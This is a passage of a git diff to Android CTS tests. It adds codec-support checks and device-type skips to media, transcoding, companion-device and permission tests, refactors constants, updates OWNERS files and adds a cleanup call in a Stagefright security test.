extractor.readSampleData(b, 0); @@ -981,9 +996,11 @@ public class MediaExtractorTest extends AndroidTestCase { break; } } + extractor.release(); + + assertTrue("dequeueing input buffer exceeded timeout", num_retry < RETRY_LIMIT); assertTrue("did not read from track 0", bytesRead[0] > 0); assertTrue("did not read from track 1", bytesRead[1] > 0); - extractor.release(); } private void doTestAdvance(final String res) throws Exception { diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java index 23d40e31443..20d0f502c03 100644 --- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java +++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java @@ -1073,12 +1073,20 @@ public class MediaMetadataRetrieverTest extends AndroidTestCase { public void testGetImageAtIndexAvif() throws Exception { if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return; + if (!MediaUtils.canDecodeVideo("AV1", 1920, 1080, 30)) { + MediaUtils.skipTest("No AV1 codec for 1080p"); + return; + } testGetImage("sample.avif", 1920, 1080, "image/avif", 0 /*rotation*/, 1 /*imageCount*/, 0 /*primary*/, false /*useGrid*/, true /*checkColor*/); } public void testGetImageAtIndexAvifGrid() throws Exception { if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return; + if (!MediaUtils.canDecodeVideo("AV1", 512, 512, 30)) { + MediaUtils.skipTest("No AV1 codec for 512p"); + return; + } testGetImage("sample_grid2x4.avif", 1920, 1080, "image/avif", 0 /*rotation*/, 1 /*imageCount*/, 0 /*primary*/, true /*useGrid*/, true /*checkColor*/); } diff --git a/tests/tests/mediaparser/OWNERS b/tests/tests/mediaparser/OWNERS index bebc5edf045..b91d177f4ac 100644 --- a/tests/tests/mediaparser/OWNERS +++ b/tests/tests/mediaparser/OWNERS @@ -1,3 +1,3 @@ # Bug component: 817235 -andrewlewis@google.com -aquilescanta@google.com +# go/android-fwk-media-solutions for info on areas of ownership. +include platform/frameworks/av:/media/janitors/media_solutions_OWNERS diff --git a/tests/tests/mediatranscoding/Android.bp b/tests/tests/mediatranscoding/Android.bp index ec049ac0cd1..6a220a36fdb 100644 --- a/tests/tests/mediatranscoding/Android.bp +++ b/tests/tests/mediatranscoding/Android.bp @@ -19,12 +19,13 @@ package { android_test { name: "CtsMediaTranscodingTestCases", defaults: ["CtsMediaTranscodingTestCasesDefaults", "cts_defaults"], - // runs as part of mainline's MTS, so must run on Q devices + // part of MTS, so we need compatibility back to Q/29 min_sdk_version: "29", test_suites: [ "cts", "general-tests", "mts-media", + "mts", ], static_libs: [ "compatibility-device-util-axt", @@ -44,5 +45,4 @@ java_defaults { "android.test.base", "android.test.runner", ], - sdk_version: "test_current", } diff --git a/tests/tests/mediatranscoding/AndroidManifest.xml b/tests/tests/mediatranscoding/AndroidManifest.xml index 1618b00ab7a..c69754a99c0 100644 --- a/tests/tests/mediatranscoding/AndroidManifest.xml +++ b/tests/tests/mediatranscoding/AndroidManifest.xml @@ -25,6 +25,12 @@ <uses-library android:name="android.test.runner" /> </application> + <!-- included in mainline testing, so must run back on 29. + Transcoding was introduced in 31 --> + <uses-sdk android:minSdkVersion="29" + android:targetSdkVersion="31"/> + + <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" android:targetPackage="android.media.mediatranscoding.cts" android:label="Tests for MediaTranscoding."> diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java index bfddabfecab..33bb8b72b95 100644 --- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java +++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java @@ -24,12 +24,16 @@ import android.content.Context; import android.content.pm.PackageManager; import android.content.res.AssetFileDescriptor; import android.media.ApplicationMediaCapabilities; +import android.media.MediaCodec; +import android.media.MediaCodecInfo; +import android.media.MediaExtractor; import android.media.MediaFormat; import android.media.MediaTranscodingManager; import android.media.MediaTranscodingManager.TranscodingRequest; import android.media.MediaTranscodingManager.TranscodingSession; import android.media.MediaTranscodingManager.VideoTranscodingRequest; import android.net.Uri; +// import android.os.Build; import android.os.Bundle; import android.os.Environment; import android.os.FileUtils; @@ -168,6 +172,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { // Skip the test for TV, Car and Watch devices. private boolean shouldSkip() { + PackageManager pm = InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager(); return pm.hasSystemFeature(pm.FEATURE_LEANBACK) || pm.hasSystemFeature(pm.FEATURE_WATCH) @@ -339,7 +344,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { // Tests transcoding to a uri in res folder and expects failure as test could not write to res // folder. public void testTranscodingToResFolder() throws Exception { - if (shouldSkip()) { + if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) { return; } // Create a file Uri: android.resource://android.media.cts/temp.mp4 @@ -353,7 +358,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { // Tests transcoding to a uri in internal cache folder and expects success. public void testTranscodingToCacheDir() throws Exception { - if (shouldSkip()) { + if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) { return; } // Create a file Uri: file:///data/user/0/android.media.cts/cache/temp.mp4 @@ -367,7 +372,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { // Tests transcoding to a uri in internal files directory and expects success. public void testTranscodingToInternalFilesDir() throws Exception { - if (shouldSkip()) { + if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) { return; } // Create a file Uri: file:///data/user/0/android.media.cts/files/temp.mp4 @@ -425,14 +430,6 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { if (shouldSkip()) { return; } - MediaFormat format = new MediaFormat(); - format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_VIDEO_HEVC); - format.setInteger(MediaFormat.KEY_WIDTH, 3840); - format.setInteger(MediaFormat.KEY_HEIGHT, 2160); - format.setInteger(MediaFormat.KEY_FRAME_RATE, 30); - if (!MediaUtils.canDecode(format) || !MediaUtils.canEncode(format) ) { - return; - } transcodeFile(resourceToUri(mContext, R.raw.Video_4K_HEVC_64Frames_Audio, "Video_4K_HEVC_64Frames_Audio.mp4"), false /* testFileDescriptor */); } @@ -455,14 +452,26 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { ApplicationMediaCapabilities clientCaps = new ApplicationMediaCapabilities.Builder().build(); + MediaFormat srcVideoFormat = getVideoTrackFormat(fileUri); + assertNotNull(srcVideoFormat); + + int width = srcVideoFormat.getInteger(MediaFormat.KEY_WIDTH); + int height = srcVideoFormat.getInteger(MediaFormat.KEY_HEIGHT); + TranscodingRequest.VideoFormatResolver resolver = new TranscodingRequest.VideoFormatResolver(clientCaps, MediaFormat.createVideoFormat( - MediaFormat.MIMETYPE_VIDEO_HEVC, WIDTH, HEIGHT)); + MediaFormat.MIMETYPE_VIDEO_HEVC, width, height)); assertTrue(resolver.shouldTranscode()); MediaFormat videoTrackFormat = resolver.resolveVideoFormat(); assertNotNull(videoTrackFormat); + // Return if the source or target video format is not supported + if (!isFormatSupported(srcVideoFormat, false) + || !isFormatSupported(videoTrackFormat, true)) { + return; + } + int pid = android.os.Process.myPid(); int uid = android.os.Process.myUid(); @@ -557,7 +566,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { } public void testCancelTranscoding() throws Exception { - if (shouldSkip()) { + if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) { return; } Log.d(TAG, "Starting: testCancelTranscoding"); @@ -648,7 +657,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { }*/ public void testTranscodingProgressUpdate() throws Exception { - if (shouldSkip()) { + if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) { return; } Log.d(TAG, "Starting: testTranscodingProgressUpdate"); @@ -700,7 +709,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { } public void testAddingClientUids() throws Exception { - if (shouldSkip()) { + if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) { return; } Log.d(TAG, "Starting: testTranscodingProgressUpdate"); @@ -760,4 +769,72 @@ public class MediaTranscodingManagerTest extends AndroidTestCase { assertTrue("Failed to receive at least 10 progress updates", progressUpdateCount.get() > 10); } + + private MediaFormat getVideoTrackFormat(Uri fileUri) throws IOException { + MediaFormat videoFormat = null; + MediaExtractor extractor = new MediaExtractor(); + extractor.setDataSource(fileUri.toString()); + // Find video track format + for (int trackID = 0; trackID < extractor.getTrackCount(); trackID++) { + MediaFormat format = extractor.getTrackFormat(trackID); + if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) { + videoFormat = format; + break; + } + } + extractor.release(); + return videoFormat; + } + + private boolean isVideoTranscodingSupported(Uri fileUri) throws IOException { + MediaFormat sourceFormat = getVideoTrackFormat(fileUri); + if (sourceFormat != null) { + // Since destination format is not available, we assume width, height and + // frame rate same as source format, and mime as AVC for destination format. + MediaFormat destinationFormat = new MediaFormat(); + destinationFormat.setString(MediaFormat.KEY_MIME, MIME_TYPE); + destinationFormat.setInteger(MediaFormat.KEY_WIDTH, + sourceFormat.getInteger(MediaFormat.KEY_WIDTH)); + destinationFormat.setInteger(MediaFormat.KEY_HEIGHT, + sourceFormat.getInteger(MediaFormat.KEY_HEIGHT)); + if (sourceFormat.containsKey(MediaFormat.KEY_FRAME_RATE)) { + destinationFormat.setInteger(MediaFormat.KEY_FRAME_RATE, + sourceFormat.getInteger(MediaFormat.KEY_FRAME_RATE)); + } + return isFormatSupported(sourceFormat, false) + && isFormatSupported(destinationFormat, true); + } + return false; + } + + private boolean isFormatSupported(MediaFormat format, boolean isEncoder) { + String mime = format.getString(MediaFormat.KEY_MIME); + MediaCodec codec = null; + try { + // The underlying transcoder library uses AMediaCodec_createEncoderByType + // to create encoder. So we cannot perform an exhaustive search of + // all codecs that support the format. This is because the codec that + // advertises support for the format during search may not be the one + // instantiated by the transcoder library. So, we have to check whether + // the codec returned by createEncoderByType supports the format. + // The same point holds for decoder too. + if (isEncoder) { + codec = MediaCodec.createEncoderByType(mime); + } else { + codec = MediaCodec.createDecoderByType(mime); + } + MediaCodecInfo info = codec.getCodecInfo(); + MediaCodecInfo.CodecCapabilities caps = info.getCapabilitiesForType(mime); + if (caps != null && caps.isFormatSupported(format) && info.isHardwareAccelerated()) { + return true; + } + } catch (IOException e) { + Log.d(TAG, "Exception: " + e); + } finally { + if (codec != null) { + codec.release(); + } + } + return false; + } } diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java index c5500ae614a..95febcdcf4d 100644 --- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java +++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java @@ -23,6 +23,7 @@ import android.content.ContentResolver; import android.content.Context; import android.content.res.AssetFileDescriptor; import android.graphics.ImageFormat; +import android.graphics.Rect; import android.media.Image; import android.media.MediaCodec; import android.media.MediaCodecInfo; @@ -322,23 +323,32 @@ import java.util.Locale; throw new UnsupportedOperationException("Only supports YUV420P"); } - int imageWidth = image.getWidth(); - int imageHeight = image.getHeight(); + Rect crop = image.getCropRect(); + int cropLeft = crop.left; + int cropRight = crop.right; + int cropTop = crop.top; + int cropBottom = crop.bottom; + int imageWidth = cropRight - cropLeft; + int imageHeight = cropBottom - cropTop; byte[] bb = new byte[imageWidth * imageHeight]; byte[] lb = null; Image.Plane[] planes = image.getPlanes(); for (int i = 0; i < planes.length; ++i) { ByteBuffer buf = planes[i].getBuffer(); - int width, height, rowStride, pixelStride, x, y; + int width, height, rowStride, pixelStride, x, y, top, left; rowStride = planes[i].getRowStride(); pixelStride = planes[i].getPixelStride(); if (i == 0) { width = imageWidth; height = imageHeight; + left = cropLeft; + top = cropTop; } else { width = imageWidth / 2; height = imageHeight / 2; + left = cropLeft / 2; + top = cropTop / 2; } if (buf.hasArray()) { @@ -371,7 +381,7 @@ import java.util.Locale; } // do it pixel-by-pixel for (y = 0; y < height; ++y) { - buf.position(pos + y * rowStride); + buf.position(pos + left + (top + y) * rowStride); // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes buf.get(lb, 0, pixelStride * (width - 1) + 1); for (x = 0; x < width; ++x) { diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt index bfb82c5a3e1..6869889e68b 100644 --- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt +++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt @@ -17,6 +17,7 @@ package android.os.cts import android.companion.CompanionDeviceManager +import android.content.pm.PackageManager import android.content.pm.PackageManager.FEATURE_AUTOMOTIVE import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP import android.content.pm.PackageManager.PERMISSION_GRANTED @@ -68,6 +69,8 @@ const val COMPANION_APPROVE_WIFI_CONNECTIONS = const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10" const val MANAGE_COMPANION_DEVICES = "android.permission.MANAGE_COMPANION_DEVICES" const val SHELL_PACKAGE_NAME = "com.android.shell" +const val TEST_APP_PACKAGE_NAME = "android.os.cts.companiontestapp" +const val TEST_APP_APK_LOCATION = "/data/local/tmp/cts/os/CtsCompanionTestApp.apk" val InstrumentationTestCase.context get() = InstrumentationRegistry.getTargetContext() /** @@ -79,6 +82,11 @@ class CompanionDeviceManagerTest : InstrumentationTestCase() { val cdm: CompanionDeviceManager by lazy { context.getSystemService(CompanionDeviceManager::class.java) } + val pm: PackageManager by lazy { context.packageManager } + private val hasFeatureCompanionDeviceSetup: Boolean by lazy { + pm.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP) + } + private val isAuto: Boolean by lazy { pm.hasSystemFeature(FEATURE_AUTOMOTIVE) } private fun isShellAssociated(macAddress: String, packageName: String): Boolean { val userId = context.userId @@ -102,19 +110,24 @@ class CompanionDeviceManagerTest : InstrumentationTestCase() { @Before fun assumeHasFeature() { - assumeTrue(context.packageManager.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP)) + assumeTrue(hasFeatureCompanionDeviceSetup) // TODO(b/191699828) test does not work in automotive due to accessibility issue - assumeFalse(context.packageManager.hasSystemFeature(FEATURE_AUTOMOTIVE)) + assumeFalse(isAuto) } @After fun removeAllAssociations() { - val packageName = "android.os.cts.companiontestapp" + // If the devices does not have the feature or is an Auto, the test didn't run, and the + // clean up is not needed (will actually crash if the feature is missing). + // See assumeHasFeature @Before method. + if (!hasFeatureCompanionDeviceSetup || isAuto) return + val userId = context.userId - val associations = getAssociatedDevices(packageName) + val associations = getAssociatedDevices(TEST_APP_PACKAGE_NAME) for (address in associations) { - runShellCommandOrThrow("cmd companiondevice disassociate $userId $packageName $address") + runShellCommandOrThrow( + "cmd companiondevice disassociate $userId $TEST_APP_PACKAGE_NAME $address") } } @@ -168,10 +181,8 @@ class CompanionDeviceManagerTest : InstrumentationTestCase() { @AppModeFull(reason = "Companion API for non-instant apps only") @Test fun testProfiles() { - val packageName = "android.os.cts.companiontestapp" - installApk( - "--user ${UserHandle.myUserId()} /data/local/tmp/cts/os/CtsCompanionTestApp.apk") - startApp(packageName) + installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION") + startApp(TEST_APP_PACKAGE_NAME) waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name)))) .performAction(ACTION_SET_TEXT, @@ -191,24 +202,24 @@ class CompanionDeviceManagerTest : InstrumentationTestCase() { device!!.click() eventually { - assertThat(getAssociatedDevices(packageName), not(empty())) + assertThat(getAssociatedDevices(TEST_APP_PACKAGE_NAME), not(empty())) } - val deviceAddress = getAssociatedDevices(packageName).last() + val deviceAddress = getAssociatedDevices(TEST_APP_PACKAGE_NAME).last() runShellCommandOrThrow("cmd companiondevice simulate_connect $deviceAddress") - assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED) + assertPermission( + TEST_APP_PACKAGE_NAME, "android.permission.CALL_PHONE", PERMISSION_GRANTED) runShellCommandOrThrow("cmd companiondevice simulate_disconnect $deviceAddress") - assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED) + assertPermission( + TEST_APP_PACKAGE_NAME, "android.permission.CALL_PHONE", PERMISSION_GRANTED) } @AppModeFull(reason = "Companion API for non-instant apps only") @Test fun testRequestNotifications() { - val packageName = "android.os.cts.companiontestapp" - installApk( - "--user ${UserHandle.myUserId()} /data/local/tmp/cts/os/CtsCompanionTestApp.apk") - startApp(packageName) + installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION") + startApp(TEST_APP_PACKAGE_NAME) waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name)))) .performAction(ACTION_SET_TEXT, diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml index 8d57488a2a3..746f8b27ceb 100644 --- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml +++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml @@ -42,9 +42,8 @@ <option name="test-file-name" value="CtsAdminPackageInstallerTestCases.apk" /> </target_preparer> - <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer"> - <option name="run-command" value="dpm set-device-owner --user current 'android.packageinstaller.admin.cts/.BasicAdminReceiver'" /> - <option name="teardown-command" value="dpm remove-active-admin --user current 'android.packageinstaller.admin.cts/.BasicAdminReceiver'"/> + <target_preparer class="com.android.tradefed.targetprep.DeviceOwnerTargetPreparer"> + <option name="device-owner-component-name" value="android.packageinstaller.admin.cts/.BasicAdminReceiver" /> </target_preparer> <test class="com.android.tradefed.testtype.AndroidJUnitTest" > diff --git a/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java index 93920a59365..8b8f24a5217 100644 --- a/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java +++ b/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java @@ -51,6 +51,7 @@ import com.android.compatibility.common.util.CddTest; import org.junit.After; import org.junit.Before; +import org.junit.Ignore; import org.junit.Test; import org.junit.runner.RunWith; @@ -210,24 +211,40 @@ public class NearbyDevicesPermissionTest { } /** - * Verify that upgrading an app doesn't gain them any access to Bluetooth - * scan results; they'd always need to involve the user to gain permissions. + * Verify that a legacy app that was unable to interact with Bluetooth + * devices is still unable to interact with them after updating to a modern + * SDK; they'd always need to involve the user to gain permissions. */ @Test - public void testRequestBluetoothPermission_Upgrade() throws Throwable { + public void testRequestBluetoothPermission_Default_Upgrade() throws Throwable { install(APK_BLUETOOTH_30); - grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION); - grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION); - assertScanBluetoothResult(Result.FULL); + assertScanBluetoothResult(Result.EMPTY); // Upgrading to target a new SDK level means they need to explicitly // request the new runtime permission; by default it's denied - install(APK_BLUETOOTH_31); + install(APK_BLUETOOTH_NEVER_FOR_LOCATION_31); assertScanBluetoothResult(Result.EXCEPTION); // If the user does grant it, they can scan again grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT); grantPermission(TEST_APP_PKG, BLUETOOTH_SCAN); + assertScanBluetoothResult(Result.FILTERED); + } + + /** + * Verify that a legacy app that was able to interact with Bluetooth devices + * is still able to interact with them after updating to a modern SDK. + */ + @Test + public void testRequestBluetoothPermission_GrantLocation_Upgrade() throws Throwable { + install(APK_BLUETOOTH_30); + grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION); + grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION); + assertScanBluetoothResult(Result.FULL); + + // Upgrading to target a new SDK level means they still have the access + // they enjoyed as a legacy app + install(APK_BLUETOOTH_31); assertScanBluetoothResult(Result.FULL); } diff --git a/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java b/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java index d013b93ecac..70952990c4b 100644 --- a/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java +++ b/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java @@ -24,7 +24,9 @@ import android.content.Context; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.os.Process; +import android.os.UserHandle; import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.SystemUserOnly; import android.util.Log; import androidx.test.InstrumentationRegistry; @@ -64,7 +66,10 @@ public class ShellPermissionTest { final Set<String> blacklist = new HashSet<>(Arrays.asList(BLACKLISTED_PERMISSIONS)); final PackageManager pm = sContext.getPackageManager(); - final String[] pkgs = pm.getPackagesForUid(Process.SHELL_UID); + int uid = UserHandle.getUid(UserHandle.myUserId(), UserHandle.getAppId(Process.SHELL_UID)); + final String[] pkgs = pm.getPackagesForUid(uid); + Log.d(LOG_TAG, "SHELL_UID: " + Process.SHELL_UID + " myUserId: " + + UserHandle.myUserId() + " uid: " + uid + " pkgs.length: " + pkgs.length); assertNotNull("No SHELL packages were found", pkgs); assertNotEquals("SHELL package list had 0 size", 0, pkgs.length); String pkg = pkgs[0]; @@ -73,9 +78,16 @@ public class ShellPermissionTest { assertNotNull("No permissions found for " + pkg, packageInfo.requestedPermissions); for (String permission : packageInfo.requestedPermissions) { - Log.d(LOG_TAG, "SHELL as " + pkg + " uses permission " + permission); + Log.d(LOG_TAG, "SHELL as " + pkg + " uses permission " + permission + " uid: " + + uid); assertFalse("SHELL as " + pkg + " contains the illegal permission " + permission, blacklist.contains(permission)); } } + + @Test + @SystemUserOnly + public void testBlacklistedPermissionsForSystemUser() throws Exception { + testBlacklistedPermissions(); + } } diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt index d56e7d0665d..eb94a785f16 100644 --- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt +++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt @@ -406,11 +406,16 @@ abstract class BaseUsePermissionTest : BasePermissionTest() { isLegacyApp: Boolean, targetSdk: Int ) { - pressBack() - pressBack() - pressBack() if (isTv) { + // Dismiss DeprecatedTargetSdkVersionDialog, if present + if (waitFindObjectOrNull(By.text(APP_PACKAGE_NAME), 1000L) != null) { + pressBack() + } pressHome() + } else { + pressBack() + pressBack() + pressBack() } // Try multiple times as the AppInfo page might have read stale data diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt index 819af011b63..86b9c4e1bb1 100644 --- a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt +++ b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt @@ -23,6 +23,7 @@ import android.support.test.uiautomator.By import androidx.test.filters.SdkSuppress import com.android.compatibility.common.util.SystemUtil import org.junit.After +import org.junit.Assume.assumeFalse import org.junit.Before import org.junit.Ignore import org.junit.Test @@ -42,6 +43,14 @@ class PermissionHistoryTest : BasePermissionHubTest() { private val micLabel = packageManager.getPermissionGroupInfo( Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString() + // Permission history is not available on TV devices. + @Before + fun assumeNotTv() = assumeFalse(isTv) + + // Permission history is not available on Auto devices. + @Before + fun assumeNotAuto() = assumeFalse(isAutomotive) + @Before fun installApps() { uninstallPackage(APP_PACKAGE_NAME, requireSuccess = false) diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt index 8bd51cc228e..7f25e8c10db 100644 --- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt +++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt @@ -32,14 +32,9 @@ import android.support.test.uiautomator.UiDevice import android.support.test.uiautomator.UiSelector import androidx.test.platform.app.InstrumentationRegistry import com.android.compatibility.common.util.DisableAnimationRule -import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity -import com.android.compatibility.common.util.SystemUtil.eventually -import com.android.compatibility.common.util.SystemUtil.runShellCommand -import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity +import com.android.compatibility.common.util.SystemUtil.* import org.junit.After -import org.junit.Assert.assertFalse -import org.junit.Assert.assertNotNull -import org.junit.Assert.assertTrue +import org.junit.Assert.* import org.junit.Assume.assumeFalse import org.junit.Assume.assumeTrue import org.junit.Before @@ -66,6 +61,7 @@ class CameraMicIndicatorsPermissionTest { private val uiDevice: UiDevice = UiDevice.getInstance(instrumentation) private val packageManager: PackageManager = context.packageManager + private val isTv = packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK) private var wasEnabled = false private val micLabel = packageManager.getPermissionGroupInfo( Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString() @@ -124,9 +120,10 @@ class CameraMicIndicatorsPermissionTest { screenTimeoutBeforeTest ) } - - pressBack() - pressBack() + if (!isTv) { + pressBack() + pressBack() + } pressHome() pressHome() Thread.sleep(3000) @@ -169,15 +166,13 @@ class CameraMicIndicatorsPermissionTest { assertTrue("View with text $APP_LABEL not found", appView.exists()) } - if (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) { + if (isTv) { assertTvIndicatorsShown(useMic, useCamera, useHotword) } else if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) { assertCarIndicatorsShown(useMic, useCamera) } else { - // Hotword gets remapped to RECORD_AUDIO on handheld, so handheld should show a mic - // indicator uiDevice.openQuickSettings() - assertPrivacyChipAndIndicatorsPresent(useMic || useHotword, useCamera) + assertPrivacyChipAndIndicatorsPresent(useMic, useCamera) } } @@ -201,22 +196,12 @@ class CameraMicIndicatorsPermissionTest { private fun assertCarIndicatorsShown(useMic: Boolean, useCamera: Boolean) { // Ensure the privacy chip is present (or not) - var chipFound = false - try { - eventually { - val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID)) - assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip) - privacyChip.click() - chipFound = true - } - } catch (e: Exception) { - // Handle more gracefully below - } - + val chipFound = isChipPresent() if (useMic || useCamera) { assertTrue("Did not find chip", chipFound) } else { assertFalse("Found chip, but did not expect to", chipFound) + return } eventually { @@ -233,11 +218,13 @@ class CameraMicIndicatorsPermissionTest { } private fun assertPrivacyChipAndIndicatorsPresent(useMic: Boolean, useCamera: Boolean) { - // Ensure the privacy chip is present - eventually { - val privacyChip = uiDevice.findObject(UiSelector().resourceId(PRIVACY_CHIP_ID)) - assertTrue("view with id $PRIVACY_CHIP_ID not found", privacyChip.exists()) - privacyChip.click() + // Ensure the privacy chip is present (or not) + val chipFound = isChipPresent() + if (useMic || useCamera) { + assertTrue("Did not find chip", chipFound) + } else { + assertFalse("Found chip, but did not expect to", chipFound) + return } eventually { @@ -254,6 +241,21 @@ class CameraMicIndicatorsPermissionTest { } } + private fun isChipPresent(): Boolean { + var chipFound = false + try { + eventually { + val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID)) + assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip) + privacyChip.click() + chipFound = true + } + } catch (e: Exception) { + // Handle more gracefully after + } + return chipFound + } + private fun pressBack() { uiDevice.pressBack() waitForIdle() diff --git a/tests/tests/provider/preconditions/Android.bp b/tests/tests/provider/preconditions/Android.bp index 289aab5b1ea..f636464db68 100644 --- a/tests/tests/provider/preconditions/Android.bp +++ b/tests/tests/provider/preconditions/Android.bp @@ -14,7 +14,8 @@ java_test_helper_library { test_suites: [ "cts", "general-tests", - "sts" + "sts", + "mts" ], host_supported: true, device_supported: false, diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java index ed33af85f11..baeca9ceea6 100644 --- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java +++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java @@ -266,6 +266,7 @@ public class MediaStoreTest { } @Test + @SdkSuppress(minSdkVersion = 31, codeName = "S") public void testCanManageMedia() throws Exception { final String opString = AppOpsManager.permissionToOp(Manifest.permission.MANAGE_MEDIA); diff --git a/tests/tests/security/OWNERS b/tests/tests/security/OWNERS index 57873458742..0db6ed870bc 100644 --- a/tests/tests/security/OWNERS +++ b/tests/tests/security/OWNERS @@ -2,6 +2,6 @@ cbrubaker@google.com jeffv@google.com nnk@google.com -mspector@google.com -manjaepark@google.com +musashi@google.com cdombroski@google.com +hubers@google.com diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java index 3d3efb119d0..6d1b25f8704 100644 --- a/tests/tests/security/src/android/security/cts/StagefrightTest.java +++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java @@ -2404,6 +2404,11 @@ public class StagefrightTest { } catch (Exception e) { // local exceptions ignored, not security issues } finally { + try { + codec.stop(); + } catch (Exception e) { + // local exceptions ignored, not security issues + } codec.release(); renderTarget.destroy(); } diff --git 